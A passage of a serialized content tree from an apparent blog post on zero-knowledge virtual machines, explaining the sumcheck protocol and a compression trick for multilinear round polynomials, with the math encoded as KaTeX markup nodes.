,{"type":22,"tag":264,"props":110313,"children":110315},{"className":110314,"style":22936},[22929,22934,22935],[110316],{"type":27,"value":110163},{"type":22,"tag":264,"props":110318,"children":110320},{"className":110319},[2147],[110321],{"type":22,"tag":264,"props":110322,"children":110324},{"className":110323},[305,306],[110325,110440],{"type":22,"tag":264,"props":110326,"children":110328},{"className":110327},[311],[110329,110435],{"type":22,"tag":264,"props":110330,"children":110332},{"className":110331,"style":22955},[316],[110333],{"type":22,"tag":264,"props":110334,"children":110335},{"style":22959},[110336,110340],{"type":22,"tag":264,"props":110337,"children":110339},{"className":110338,"style":2169},[326],[],{"type":22,"tag":264,"props":110341,"children":110343},{"className":110342},[332,333,334,335],[110344],{"type":22,"tag":264,"props":110345,"children":110347},{"className":110346},[289,335],[110348,110405,110410,110415,110420,110425,110430],{"type":22,"tag":264,"props":110349,"children":110351},{"className":110350},[289,335],[110352,110357],{"type":22,"tag":264,"props":110353,"children":110355},{"className":110354},[289,2178,335],[110356],{"type":27,"value":20581},{"type":22,"tag":264,"props":110358,"children":110360},{"className":110359},[2147],[110361],{"type":22,"tag":264,"props":110362,"children":110364},{"className":110363},[305,306],[110365,110394],{"type":22,"tag":264,"props":110366,"children":110368},{"className":110367},[311],[110369,110389],{"type":22,"tag":264,"props":110370,"children":110372},{"className":110371,"style":110219},[316],[110373],{"type":22,"tag":264,"props":110374,"children":110375},{"style":110223},[110376,110380],{"type":22,"tag":264,"props":110377,"children":110379},{"className":110378,"style":110228},[326],[],{"type":22,"tag":264,"props":110381,"children":110383},{"className":110382},[332,110233,110234,335],[110384],{"type":22,"tag":264,"props":110385,"children":110387},{"className":110386},[289,335],[110388],{"type":27,"value":3568},{"type":22,"tag":264,"props":110390,"children":110392},{"className":110391},[396],[110393],{"type":27,"value":399},{"type":22,"tag":264,"props":110395,"children":110397},{"className":110396},[311],[110398],{"type":22,"tag":264,"props":110399,"children":110401},{"className":110400,"style":110253},[316],[110402],{"type":22,"tag":264,"props":110403,"children":110404},{},[],{"type":22,"tag":264,"props":110406,"children":110408},{"className":110407},[426,335],[110409],{"type":27,"value":22999},{"type":22,"tag":264,"props":110411,"children":110413},{"className":110412},[294,335],[110414],{"type":27,"value":77944},{"type":22,"tag":264,"props":110416,"children":110418},{"className":110417},[289,335],[110419],{"type":27,"value":5334},{"type":22,"tag":264,"props":110421,"children":110423},{"className":110422},[5420,335],[110424],{"type":27,"value":5423},{"type":22,"tag":264,"props":110426,"children":110428},{"className":110427},[289,335],[110429],{"type":27,"value":602},{"type":22,"tag":264,"props":110431,"children":110433},{"className":110432},[415,335],[110434],{"type":27,"value":35455},{"type":22,"tag":264,"props":110436,"children":110438},{"className":110437},[396],[110439],{"type":27,"value":399},{"type":22,"tag":264,"props":110441,"children":110443},{"className":110442},[311],[110444],{"type":22,"tag":264,"props":110445,"children":110447},{"className":110446,"style":23056},[316],[110448],{"type":22,"tag":264,"props":110449,"children":110450},{},[],{"type":22,"tag":264,"props":110452,"children":110454},{"className":110453,"style":5427},[420],[],{"type":22,"tag":264,"props":110456,"children":110459},{"className":110457},[110458],"minner",[110460],{"type":27,"value":110461},"⋯",{"type":22,"tag":264,"props":110463,"children":110465},{"className":110464,"style":5427},[420],[],{"type":22,"tag":264,"props":110467,"children":110469},{"className":110468},[22929],[110470,110475],{"type":22,"tag":264,"props":110471,"children":110473},{"className":110472,"style":22936},[22929,22934,22935],[110474],{"type":27,"value":110163},{"type":22,"tag":264,"props":110476,"children":110478},{"className":110477},[2147],[110479],{"type":22,"tag":264,"props":110480,"children":110482},{"className":110481},[305,306],[110483,110599],{"type":22,"tag":264,"props":110484,"children":110486},{"className":110485},[311],[110487,110594],{"type":22,"tag":264,"props":110488,"children":110490},{"className":110489,"style":22955},[316],[110491],{"type":22,"tag":264,"props":110492,"children":110493},{"style":22959},[110494,110498],{"type":22,"tag":264,"props":110495,"children":110497},{"className":110496,"style":2169},[326],[],{"type":22,"tag":264,"props":110499,"children":110501},{"className":110500},[332,333,334,335],[110502],{"type":22,"tag":264,"props":110503,"children":110505},{"className":110504},[289,335],[110506,110564,110569,110574,110579,110584,110589],{"type":22,"tag":264,"props":110507,"children":110509},{"className":110508},[289,335],[110510,110515],{"type":22,"tag":264,"props":110511,"children":110513},{"className":110512},[289,2178,335],[110514],{"type":27,"value":20581},{"type":22,"tag":264,"props":110516,"children":110518},{"className":110517},[2147],[110519],{"type":22,"tag":264,"props":110520,"children":110522},{"className":110521},[305,306],[110523,110553],{"type":22,"tag":264,"props":110524,"children":110526},{"className":110525},[311],[110527,110548],{"type":22,"tag":264,"props":110528,"children":110531},{"className":110529,"style":110530},[316],"height:0.1645em;",[110532],{"type":22,"tag":264,"props":110533,"children":110534},{"style":110223},[110535,110539],{"type":22,"tag":264,"props":110536,"children":110538},{"className":110537,"style":110228},[326],[],{"type":22,"tag":264,"props":110540,"children":110542},{"className":110541},[332,110233,110234,335],[110543],{"type":22,"tag":264,"props":110544,"children":110546},{"className":110545},[289,2178,335],[110547],{"type":27,"value":57724},{"type":22,"tag":264,"props":110549,"children":110551},{"className":110550},[396],[110552],{"type":27,"value":399},{"type":22,"tag":264,"props":110554,"children":110556},{"className":110555},[311],[110557],{"type":22,"tag":264,"props":110558,"children":110560},{"className":110559,"style":110253},[316],[110561],{"type":22,"tag":264,"props":110562,"children":110563},{},[],{"type":22,"tag":264,"props":110565,"children":110567},{"className":110566},[426,335],[110568],{"type":27,"value":22999},{"type":22,"tag":264,"props":110570,"children":110572},{"className":110571},[294,335],[110573],{"type":27,"value":77944},{"type":22,"tag":264,"props":110575,"children":110577},{"className":110576},[289,335],[110578],{"type":27,"value":5334},{"type":22,"tag":264,"props":110580,"children":110582},{"className":110581},[5420,335],[110583],{"type":27,"value":5423},{"type":22,"tag":264,"props":110585,"children":110587},{"className":110586},[289,335],[110588],{"type":27,"value":602},{"type":22,"tag":264,"props":110590,"children":110592},{"className":110591},[415,335],[110593],{"type":27,"value":35455},{"type":22,"tag":264,"props":110595,"children":110597},{"className":110596},[396],[110598],{"type":27,"value":399},{"type":22,"tag":264,"props":110600,"children":110602},{"className":110601},[311],[110603],{"type":22,"tag":264,"props":110604,"children":110606},{"className":110605,"style":23056},[316],[110607],{"type":22,"tag":264,"props":110608,"children":110609},{},[],{"type":22,"tag":264,"props":110611,"children":110613},{"className":110612,"style":5427},[420],[],{"type":22,"tag":264,"props":110615,"children":110617},{"className":110616,"style":94855},[289,2178],[110618],{"type":27,"value":110619},"g",{"type":22,"tag":264,"props":110621,"children":110623},{"className":110622},[294],[110624],{"type":27,"value":2660},{"type":22,"tag":264,"props":110626,"children":110628},{"className":110627},[289],[110629,110634],{"type":22,"tag":264,"props":110630,"children":110632},{"className":110631},[289,2178],[110633],{"type":27,"value":20581},{"type":22,"tag":264,"props":110635,"children":110637},{"className":110636},[2147],[110638],{"type":22,"tag":264,"props":110639,"children":110641},{"className":110640},[305,306],[110642,110671],{"type":22,"tag":264,"props":110643,"children":110645},{"className":110644},[311],[110646,110666],{"type":22,"tag":264,"props":110647,"children":110649},{"className":110648,"style":94422},[316],[110650],{"type":22,"tag":264,"props":110651,"children":110652},{"style":94426},[110653,110657],{"type":22,"tag":264,"props":110654,"children":110656},{"className":110655,"style":2169},[326],[],{"type":22,"tag":264,"props":110658,"children":110660},{"className":110659},[332,333,334,335],[110661],{"type":22,"tag":264,"props":110662,"children":110664},{"className":110663},[289,335],[110665],{"type":27,"value":602},{"type":22,"tag":264,"props":110667,"children":110669},{"className":110668},[396],[110670],{"type":27,"value":399},{"type":22,"tag":264,"props":110672,"children":110674},{"className":110673},[311],[110675],{"type":22,"tag":264,"props":110676,"children":110678},{"className":110677,"style":2721},[316],[110679],{"type":22,"tag":264,"props":110680,"children":110681},{},[],{"type":22,"tag":264,"props":110683,"children":110685},{"className":110684},[5420],[110686],{"type":27,"value":5423},{"type":22,"tag":264,"props":110688,"children":110690},{"className":110689,"style":5427},[420],[],{"type":22,"tag":264,"props":110692,"children":110694},{"className":110693},[289],[110695,110700],{"type":22,"tag":264,"props":110696,"children":110698},{"className":110697},[289,2178],[110699],{"type":27,"value":20581},{"type":22,"tag":264,"props":110701,"children":110703},{"className":110702},[2147],[110704],{"type":22,"tag":264,"props":110705,"children":110707},{"className":110706},[305,306],[110708,110737],{"type":22,"tag":264,"props":110709,"children":110711},{"className":110710},[311],[110712,110732],{"type":22,"tag":264,"props":110713,"children":110715},{"className":110714,"style":94422},[316],[110716],{"type":22,"tag":264,"props":110717,"children":110718},{"style":94426},[110719,110723],{"type":22,"tag":264,"props":110720,"children":110722},{"className":110721,"style":2169},[326],[],{"type":22,"tag":264,"props":110724,"children":110726},{"className":110725},[332,333,334,335],[110727],{"type":22,"tag":264,"props":110728,"children":110730},{"className":110729},[289,335],[110731],{"type":27,"value":3568},{"type":22,"tag":264,"props":110733,"children":110735},{"className":110734},[396],[110736],{"type":27,"value":399},{"type":22,"tag":264,"props":110738,"children":110740},{"className":110739},[311],[110741],{"type":22,"tag":264,"props":110742,"children":110744},{"className":110743,"style":2721},[316],[110745],{"type":22,"tag":264,"props":110746,"children":110747},{},[],{"type":22,"tag":264,"props":110749,"children":110751},{"className":110750},[5420],[110752],{"type":27,"value":5423},{"type":22,"tag":264,"props":110754,"children":110756},{"className":110755,"style":5427},[420],[],{"type":22,"tag":264,"props":110758,"children":110760},{"className":110759},[110458],[110761],{"type":27,"value":110762},"…",{"type":22,"tag":264,"props":110764,"children":110766},{"className":110765,"style":5427},[420],[],{"type":22,"tag":264,"props":110768,"children":110770},{"className":110769},[5420],[110771],{"type":27,"value":5423},{"type":22,"tag":264,"props":110773,"children":110775},{"className":110774,"style":5427},[420],[],{"type":22,"tag":264,"props":110777,"children":110779},{"className":110778},[289],[110780,110785],{"type":22,"tag":264,"props":110781,"children":110783},{"className":110782},[289,2178],[110784],{"type":27,"value":20581},{"type":22,"tag":264,"props":110786,"children":110788},{"className":110787},[2147],[110789],{"type":22,"tag":264,"props":110790,"children":110792},{"className":110791},[305,306],[110793,110822],{"type":22,"tag":264,"props":110794,"children":110796},{"className":110795},[311],[110797,110817],{"type":22,"tag":264,"props":110798,"children":110800},{"className":110799,"style":2690},[316],[110801],{"type":22,"tag":264,"props":110802,"children":110803},{"style":94426},[110804,110808],{"type":22,"tag":264,"props":110805,"children":110807},{"className":110806,"style":2169},[326],[],{"type":22,"tag":264,"props":110809,"children":110811},{"className":110810},[332,333,334,335],[110812],{"type":22,"tag":264,"props":110813,"children":110815},{"className":110814},[289,2178,335],[110816],{"type":27,"value":57724},{"type":22,"tag":264,"props":110818,"children":110820},{"className":110819},[396],[110821],{"type":27,"value":399},{"type":22,"tag":264,"props":110823,"children":110825},{"className":110824},[311],[110826],{"type":22,"tag":264,"props":110827,"children":110829},{"className":110828,"style":2721},[316],[110830],{"type":22,"tag":264,"props":110831,"children":110832},{},[],{"type":22,"tag":264,"props":110834,"children":110836},{"className":110835},[415],[110837],{"type":27,"value":2806},{"type":22,"tag":23,"props":110839,"children":110840},{},[110841,110843,110904],{"type":27,"value":110842},"The naive approach would be for the verifier to compute all ",{"type":22,"tag":257,"props":110844,"children":110846},{"className":110845},[260,261],[110847],{"type":22,"tag":264,"props":110848,"children":110850},{"className":110849},[267],[110851],{"type":22,"tag":264,"props":110852,"children":110854},{"className":110853,"ariaHidden":273},[272],[110855],{"type":22,"tag":264,"props":110856,"children":110858},{"className":110857},[278],[110859,110863],{"type":22,"tag":264,"props":110860,"children":110862},{"className":110861,"style":110085},[283],[],{"type":22,"tag":264,"props":110864,"children":110866},{"className":110865},[289],[110867,110872],{"type":22,"tag":264,"props":110868,"children":110870},{"className":110869},[289],[110871],{"type":27,"value":3568},{"type":22,"tag":264,"props":110873,"children":110875},{"className":110874},[2147],[110876],{"type":22,"tag":264,"props":110877,"children":110879},{"className":110878},[305],[110880],{"type":22,"tag":264,"props":110881,"children":110883},{"className":110882},[311],[110884],{"type":22,"tag":264,"props":110885,"children":110887},{"className":110886,"style":110085},[316],[110888],{"type":22,"tag":264,"props":110889,"children":110890},{"style":5353},[110891,110895],{"type":22,"tag":264,"props":110892,"children":110894},{"className":110893,"style":2169},[326],[],{"type":22,"tag":264,"props":110896,"children":110898},{"className":110897},[332,333,334,335],[110899],{"type":22,"tag":264,"props":110900,"children":110902},{"className":110901},[289,2178,335],[110903],{"type":27,"value":57724},{"type":27,"value":110905}," evaluations. This is exponentially expensive.",{"type":22,"tag":23,"props":110907,"children":110908},{},[110909,110911,110916],{"type":27,"value":110910},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":22,"tag":242,"props":110912,"children":110913},{},[110914],{"type":27,"value":110915},"only one",{"type":27,"value":210},{"type":22,"tag":23,"props":110918,"children":110919},{},[110920],{"type":22,"tag":215,"props":110921,"children":110924},{"alt":110922,"src":110923},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":22,"tag":23,"props":110926,"children":110927},{},[110928,110930,111022,111024,111209,111211,111236,111238,111316,111318,111397],{"type":27,"value":110929},"In each round, the prover must send a polynomial ",{"type":22,"tag":257,"props":110931,"children":110933},{"className":110932},[260,261],[110934],{"type":22,"tag":264,"props":110935,"children":110937},{"className":110936},[267],[110938],{"type":22,"tag":264,"props":110939,"children":110941},{"className":110940,"ariaHidden":273},[272],[110942],{"type":22,"tag":264,"props":110943,"children":110945},{"className":110944},[278],[110946,110950,111007,111012,111017],{"type":22,"tag":264,"props":110947,"children":110949},{"className":110948,"style":5409},[283],[],{"type":22,"tag":264,"props":110951,"children":110953},{"className":110952},[289],[110954,110959],{"type":22,"tag":264,"props":110955,"children":110957},{"className":110956,"style":94855},[289,2178],[110958],{"type":27,"value":110619},{"type":22,"tag":264,"props":110960,"children":110962},{"className":110961},[2147],[110963],{"type":22,"tag":264,"props":110964,"children":110966},{"className":110965},[305,306],[110967,110996],{"type":22,"tag":264,"props":110968,"children":110970},{"className":110969},[311],[110971,110991],{"type":22,"tag":264,"props":110972,"children":110974},{"className":110973,"style":94898},[316],[110975],{"type":22,"tag":264,"props":110976,"children":110977},{"style":94902},[110978,110982],{"type":22,"tag":264,"props":110979,"children":110981},{"className":110980,"style":2169},[326],[],{"type":22,"tag":264,"props":110983,"children":110985},{"className":110984},[332,333,334,335],[110986],{"type":22,"tag":264,"props":110987,"children":110989},{"className":110988},[289,2178,335],[110990],{"type":27,"value":5050},{"type":22,"tag":264,"props":110992,"children":110994},{"className":110993},[396],[110995],{"type":27,"value":399},{"type":22,"tag":264,"props":110997,"children":110999},{"className":110998},[311],[111000],{"type":22,"tag":264,"props":111001,"children":111003},{"className":111002,"style":2721},[316],[111004],{"type":22,"tag":264,"props":111005,"children":111006},{},[],{"type":22,"tag":264,"props":111008,"children":111010},{"className":111009},[294],[111011],{"type":27,"value":2660},{"type":22,"tag":264,"props":111013,"children":111015},{"className":111014,"style":96388},[289,2178],[111016],{"type":27,"value":7425},{"type":22,"tag":264,"props":111018,"children":111020},{"className":111019},[415],[111021],{"type":27,"value":2806},{"type":27,"value":111023}," such that ",{"type":22,"tag":257,"props":111025,"children":111027},{"className":111026},[260,261],[111028],{"type":22,"tag":264,"props":111029,"children":111031},{"className":111030},[267],[111032],{"type":22,"tag":264,"props":111033,"children":111035},{"className":111034,"ariaHidden":273},[272],[111036,111129],{"type":22,"tag":264,"props":111037,"children":111039},{"className":111038},[278],[111040,111044,111101,111106,111111,111116,111120,111125],{"type":22,"tag":264,"props":111041,"children":111043},{"className":111042,"style":5409},[283],[],{"type":22,"tag":264,"props":111045,"children":111047},{"className":111046},[289],[111048,111053],{"type":22,"tag":264,"props":111049,"children":111051},{"className":111050,"style":94855},[289,2178],[111052],{"type":27,"value":110619},{"type":22,"tag":264,"props":111054,"children":111056},{"className":111055},[2147],[111057],{"type":22,"tag":264,"props":111058,"children":111060},{"className":111059},[305,306],[111061,111090],{"type":22,"tag":264,"props":111062,"children":111064},{"className":111063},[311],[111065,111085],{"type":22,"tag":264,"props":111066,"children":111068},{"className":111067,"style":94898},[316],[111069],{"type":22,"tag":264,"props":111070,"children":111071},{"style":94902},[111072,111076],{"type":22,"tag":264,"props":111073,"children":111075},{"className":111074,"style":2169},[326],[],{"type":22,"tag":264,"props":111077,"children":111079},{"className":111078},[332,333,334,335],[111080],{"type":22,"tag":264,"props":111081,"children":111083},{"className":111082},[289,2178,335],[111084],{"type":27,"value":5050},{"type":22,"tag":264,"props":111086,"children":111088},{"className":111087},[396],[111089],{"type":27,"value":399},{"type":22,"tag":264,"props":111091,"children":111093},{"className":111092},[311],[111094],{"type":22,"tag":264,"props":111095,"children":111097},{"className":111096,"style":2721},[316],[111098],{"type":22,"tag":264,"props":111099,"children":111100},{},[],{"type":22,"tag":264,"props":111102,"children":111104},{"className":111103},[294],[111105],{"type":27,"value":2660},{"type":22,"tag":264,"props":111107,"children":111109},{"className":111108},[289],[111110],{"type":27,"value":5334},{"type":22,"tag":264,"props":111112,"children":111114},{"className":111113},[415],[111115],{"type":27,"value":2806},{"type":22,"tag":264,"props":111117,"children":111119},{"className":111118,"style":665},[420],[],{"type":22,"tag":264,"props":111121,"children":111123},{"className":111122},[670],[111124],{"type":27,"value":673},{"type":22,"tag":264,"props":111126,"children":111128},{"className":111127,"style":665},[420],[],{"type":22,"tag":264,"props":111130,"children":111132},{"className":111131},[278],[111133,111137,111194,111199,111204],{"type":22,"tag":264,"props":111134,"children":111136},{"className":111135,"style":5409},[283],[],{"type":22,"tag":264,"props":111138,"children":111140},{"className":111139},[289],[111141,111146],{"type":22,"tag":264,"props":111142,"children":111144},{"className":111143,"style":94855},[289,2178],[111145],{"type":27,"value":110619},{"type":22,"tag":264,"props":111147,"children":111149},{"className":111148},[2147],[111150],{"type":22,"tag":264,"props":111151,"children":111153},{"className":111152},[305,306],[111154,111183],{"type":22,"tag":264,"props":111155,"children":111157},{"className":111156},[311],[111158,111178],{"type":22,"tag":264,"props":111159,"children":111161},{"className":111160,"style":94898},[316],[111162],{"type":22,"tag":264,"props":111163,"children":111164},{"style":94902},[111165,111169],{"type":22,"tag":264,"props":111166,"children":111168},{"className":111167,"style":2169},[326],[],{"type":22,"tag":264,"props":111170,"children":111172},{"className":111171},[332,333,334,335],[111173],{"type":22,"tag":264,"props":111174,"children":111176},{"className":111175},[289,2178,335],[111177],{"type":27,"value":5050},{"type":22,"tag":264,"props":111179,"children":111181},{"className":111180},[396],[111182],{"type":27,"value":399},{"type":22,"tag":264,"props":111184,"children":111186},{"className":111185},[311],[111187],{"type":22,"tag":264,"props":111188,"children":111190},{"className":111189,"style":2721},[316],[111191],{"type":22,"tag":264,"props":111192,"children":111193},{},[],{"type":22,"tag":264,"props":111195,"children":111197},{"className":111196},[294],[111198],{"type":27,"value":2660},{"type":22,"tag":264,"props":111200,"children":111202},{"className":111201},[289],[111203],{"type":27,"value":602},{"type":22,"tag":264,"props":111205,"children":111207},{"className":111206},[415],[111208],{"type":27,"value":2806},{"type":27,"value":111210}," equals the previous claim. If the prover is lying about the original sum ",{"type":22,"tag":257,"props":111212,"children":111214},{"className":111213},[260,261],[111215],{"type":22,"tag":264,"props":111216,"children":111218},{"className":111217},[267],[111219],{"type":22,"tag":264,"props":111220,"children":111222},{"className":111221,"ariaHidden":273},[272],[111223],{"type":22,"tag":264,"props":111224,"children":111226},{"className":111225},[278],[111227,111231],{"type":22,"tag":264,"props":111228,"children":111230},{"className":111229,"style":441},[283],[],{"type":22,"tag":264,"props":111232,"children":111234},{"className":111233,"style":94603},[289,2178],[111235],{"type":27,"value":94606},{"type":27,"value":111237},", then they must lie about ",{"type":22,"tag":257,"props":111239,"children":111241},{"className":111240},[260,261],[111242],{"type":22,"tag":264,"props":111243,"children":111245},{"className":111244},[267],[111246],{"type":22,"tag":264,"props":111247,"children":111249},{"className":111248,"ariaHidden":273},[272],[111250],{"type":22,"tag":264,"props":111251,"children":111253},{"className":111252},[278],[111254,111259],{"type":22,"tag":264,"props":111255,"children":111258},{"className":111256,"style":111257},[283],"height:0.625em;vertical-align:-0.1944em;",[],{"type":22,"tag":264,"props":111260,"children":111262},{"className":111261},[289],[111263,111268],{"type":22,"tag":264,"props":111264,"children":111266},{"className":111265,"style":94855},[289,2178],[111267],{"type":27,"value":110619},{"type":22,"tag":264,"props":111269,"children":111271},{"className":111270},[2147],[111272],{"type":22,"tag":264,"props":111273,"children":111275},{"className":111274},[305,306],[111276,111305],{"type":22,"tag":264,"props":111277,"children":111279},{"className":111278},[311],[111280,111300],{"type":22,"tag":264,"props":111281,"children":111283},{"className":111282,"style":94898},[316],[111284],{"type":22,"tag":264,"props":111285,"children":111286},{"style":94902},[111287,111291],{"type":22,"tag":264,"props":111288,"children":111290},{"className":111289,"style":2169},[326],[],{"type":22,"tag":264,"props":111292,"children":111294},{"className":111293},[332,333,334,335],[111295],{"type":22,"tag":264,"props":111296,"children":111298},{"className":111297},[289,2178,335],[111299],{"type":27,"value":5050},{"type":22,"tag":264,"props":111301,"children":111303},{"className":111302},[396],[111304],{"type":27,"value":399},{"type":22,"tag":264,"props":111306,"children":111308},{"className":111307},[311],[111309],{"type":22,"tag":264,"props":111310,"children":111312},{"className":111311,"style":2721},[316],[111313],{"type":22,"tag":264,"props":111314,"children":111315},{},[],{"type":27,"value":111317}," somewhere. But since the verifier picks a random ",{"type":22,"tag":257,"props":111319,"children":111321},{"className":111320},[260,261],[111322],{"type":22,"tag":264,"props":111323,"children":111325},{"className":111324},[267],[111326],{"type":22,"tag":264,"props":111327,"children":111329},{"className":111328,"ariaHidden":273},[272],[111330],{"type":22,"tag":264,"props":111331,"children":111333},{"className":111332},[278],[111334,111339],{"type":22,"tag":264,"props":111335,"children":111338},{"className":111336,"style":111337},[283],"height:0.5806em;vertical-align:-0.15em;",[],{"type":22,"tag":264,"props":111340,"children":111342},{"className":111341},[289],[111343,111348],{"type":22,"tag":264,"props":111344,"children":111346},{"className":111345,"style":94370},[289,2178],[111347],{"type":27,"value":95188},{"type":22,"tag":264,"props":111349,"children":111351},{"className":111350},[2147],[111352],{"type":22,"tag":264,"props":111353,"children":111355},{"className":111354},[305,306],[111356,111386],{"type":22,"tag":264,"props":111357,"children":111359},{"className":111358},[311],[111360,111381],{"type":22,"tag":264,"props":111361,"children":111363},{"className":111362,"style":94898},[316],[111364],{"type":22,"tag":264,"props":111365,"children":111367},{"style":111366},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[111368,111372],{"type":22,"tag":264,"props":111369,"children":111371},{"className":111370,"style":2169},[326],[],{"type":22,"tag":264,"props":111373,"children":111375},{"className":111374},[332,333,334,335],[111376],{"type":22,"tag":264,"props":111377,"children":111379},{"className":111378},[289,2178,335],[111380],{"type":27,"value":5050},{"type":22,"tag":264,"props":111382,"children":111384},{"className":111383},[396],[111385],{"type":27,"value":399},{"type":22,"tag":264,"props":111387,"children":111389},{"className":111388},[311],[111390],{"type":22,"tag":264,"props":111391,"children":111393},{"className":111392,"style":2721},[316],[111394],{"type":22,"tag":264,"props":111395,"children":111396},{},[],{"type":27,"value":111398},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":22,"tag":20197,"props":111400,"children":111402},{"id":111401},"the-compression-trick",[111403],{"type":27,"value":111404},"The Compression Trick",{"type":22,"tag":23,"props":111406,"children":111407},{},[111408,111410,111560,111562,111842],{"type":27,"value":111409},"For degree-1 (multilinear) polynomials, ",{"type":22,"tag":257,"props":111411,"children":111413},{"className":111412},[260,261],[111414],{"type":22,"tag":264,"props":111415,"children":111417},{"className":111416},[267],[111418],{"type":22,"tag":264,"props":111419,"children":111421},{"className":111420,"ariaHidden":273},[272],[111422,111515,111542],{"type":22,"tag":264,"props":111423,"children":111425},{"className":111424},[278],[111426,111430,111487,111492,111497,111502,111506,111511],{"type":22,"tag":264,"props":111427,"children":111429},{"className":111428,"style":5409},[283],[],{"type":22,"tag":264,"props":111431,"children":111433},{"className":111432},[289],[111434,111439],{"type":22,"tag":264,"props":111435,"children":111437},{"className":111436,"style":94855},[289,2178],[111438],{"type":27,"value":110619},{"type":22,"tag":264,"props":111440,"children":111442},{"className":111441},[2147],[111443],{"type":22,"tag":264,"props":111444,"children":111446},{"className":111445},[305,306],[111447,111476],{"type":22,"tag":264,"props":111448,"children":111450},{"className":111449},[311],[111451,111471],{"type":22,"tag":264,"props":111452,"children":111454},{"className":111453,"style":94898},[316],[111455],{"type":22,"tag":264,"props":111456,"children":111457},{"style":94902},[111458,111462],{"type":22,"tag":264,"props":111459,"children":111461},{"className":111460,"style":2169},[326],[],{"type":22,"tag":264,"props":111463,"children":111465},{"className":111464},[332,333,334,335],[111466],{"type":22,"tag":264,"props":111467,"children":111469},{"className":111468},[289,2178,335],[111470],{"type":27,"value":5050},{"type":22,"tag":264,"props":111472,"children":111474},{"className":111473},[396],[111475],{"type":27,"value":399},{"type":22,"tag":264,"props":111477,"children":111479},{"className":111478},[311],[111480],{"type":22,"tag":264,"props":111481,"children":111483},{"className":111482,"style":2721},[316],[111484],{"type":22,"tag":264,"props":111485,"children":111486},{},[],{"type":22,"tag":264,"props":111488,"children":111490},{"className":111489},[294],[111491],{"type":27,"value":2660},{"type":22,"tag":264,"props":111493,"children":111495},{"className":111494,"style":96388},[289,2178],[111496],{"type":27,"value":7425},{"type":22,"tag":264,"props":111498,"children":111500},{"className":111499},[415],[111501],{"type":27,"value":2806},{"type":22,"tag":264,"props":111503,"children":111505},{"className":111504,"style":421},[420],[],{"type":22,"tag":264,"props":111507,"children":111509},{"className":111508},[426],[111510],{"type":27,"value":429},{"type":22,"tag":264,"props":111512,"children":111514},{"className":111513,"style":421},[420],[],{"type":22,"tag":264,"props":111516,"children":111518},{"className":111517},[278],[111519,111524,111529,111533,111538],{"type":22,"tag":264,"props":111520,"children":111523},{"className":111521,"style":111522},[283],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":22,"tag":264,"props":111525,"children":111527},{"className":111526},[289,2178],[111528],{"type":27,"value":69},{"type":22,"tag":264,"props":111530,"children":111532},{"className":111531,"style":665},[420],[],{"type":22,"tag":264,"props":111534,"children":111536},{"className":111535},[670],[111537],{"type":27,"value":673},{"type":22,"tag":264,"props":111539,"children":111541},{"className":111540,"style":665},[420],[],{"type":22,"tag":264,"props":111543,"children":111545},{"className":111544},[278],[111546,111550,111555],{"type":22,"tag":264,"props":111547,"children":111549},{"className":111548,"style":94285},[283],[],{"type":22,"tag":264,"props":111551,"children":111553},{"className":111552},[289,2178],[111554],{"type":27,"value":2181},{"type":22,"tag":264,"props":111556,"children":111558},{"className":111557,"style":96388},[289,2178],[111559],{"type":27,"value":7425},{"type":27,"value":111561}," has only two coefficients. Since the verifier knows ",{"type":22,"tag":257,"props":111563,"children":111565},{"className":111564},[260,261],[111566],{"type":22,"tag":264,"props":111567,"children":111569},{"className":111568},[267],[111570],{"type":22,"tag":264,"props":111571,"children":111573},{"className":111572,"ariaHidden":273},[272],[111574,111667,111760],{"type":22,"tag":264,"props":111575,"children":111577},{"className":111576},[278],[111578,111582,111639,111644,111649,111654,111658,111663],{"type":22,"tag":264,"props":111579,"children":111581},{"className":111580,"style":5409},[283],[],{"type":22,"tag":264,"props":111583,"children":111585},{"className":111584},[289],[111586,111591],{"type":22,"tag":264,"props":111587,"children":111589},{"className":111588,"style":94855},[289,2178],[111590],{"type":27,"value":110619},{"type":22,"tag":264,"props":111592,"children":111594},{"className":111593},[2147],[111595],{"type":22,"tag":264,"props":111596,"children":111598},{"className":111597},[305,306],[111599,111628],{"type":22,"tag":264,"props":111600,"children":111602},{"className":111601},[311],[111603,111623],{"type":22,"tag":264,"props":111604,"children":111606},{"className":111605,"style":94898},[316],[111607],{"type":22,"tag":264,"props":111608,"children":111609},{"style":94902},[111610,111614],{"type":22,"tag":264,"props":111611,"children":111613},{"className":111612,"style":2169},[326],[],{"type":22,"tag":264,"props":111615,"children":111617},{"className":111616},[332,333,334,335],[111618],{"type":22,"tag":264,"props":111619,"children":111621},{"className":111620},[289,2178,335],[111622],{"type":27,"value":5050},{"type":22,"tag":264,"props":111624,"children":111626},{"className":111625},[396],[111627],{"type":27,"value":399},{"type":22,"tag":264,"props":111629,"children":111631},{"className":111630},[311],[111632],{"type":22,"tag":264,"props":111633,"children":111635},{"className":111634,"style":2721},[316],[111636],{"type":22,"tag":264,"props":111637,"children":111638},{},[],{"type":22,"tag":264,"props":111640,"children":111642},{"className":111641},[294],[111643],{"type":27,"value":2660},{"type":22,"tag":264,"props":111645,"children":111647},{"className":111646},[289],[111648],{"type":27,"value":5334},{"type":22,"tag":264,"props":111650,"children":111652},{"className":111651},[415],[111653],{"type":27,"value":2806},{"type":22,"tag":264,"props":111655,"children":111657},{"className":111656,"style":665},[420],[],{"type":22,"tag":264,"props":111659,"children":111661},{"className":111660},[670],[111662],{"type":27,"value":673},{"type":22,"tag":264,"props":111664,"children":111666},{"className":111665,"style":665},[420],[],{"type":22,"tag":264,"props":111668,"children":111670},{"className":111669},[278],[111671,111675,111732,111737,111742,111747,111751,111756],{"type":22,"tag":264,"props":111672,"children":111674},{"className":111673,"style":5409},[283],[],{"type":22,"tag":264,"props":111676,"children":111678},{"className":111677},[289],[111679,111684],{"type":22,"tag":264,"props":111680,"children":111682},{"className":111681,"style":94855},[289,2178],[111683],{"type":27,"value":110619},{"type":22,"tag":264,"props":111685,"children":111687},{"className":111686},[2147],[111688],{"type":22,"tag":264,"props":111689,"children":111691},{"className":111690},[305,306],[111692,111721],{"type":22,"tag":264,"props":111693,"children":111695},{"className":111694},[311],[111696,111716],{"type":22,"tag":264,"props":111697,"children":111699},{"className":111698,"style":94898},[316],[111700],{"type":22,"tag":264,"props":111701,"children":111702},{"style":94902},[1117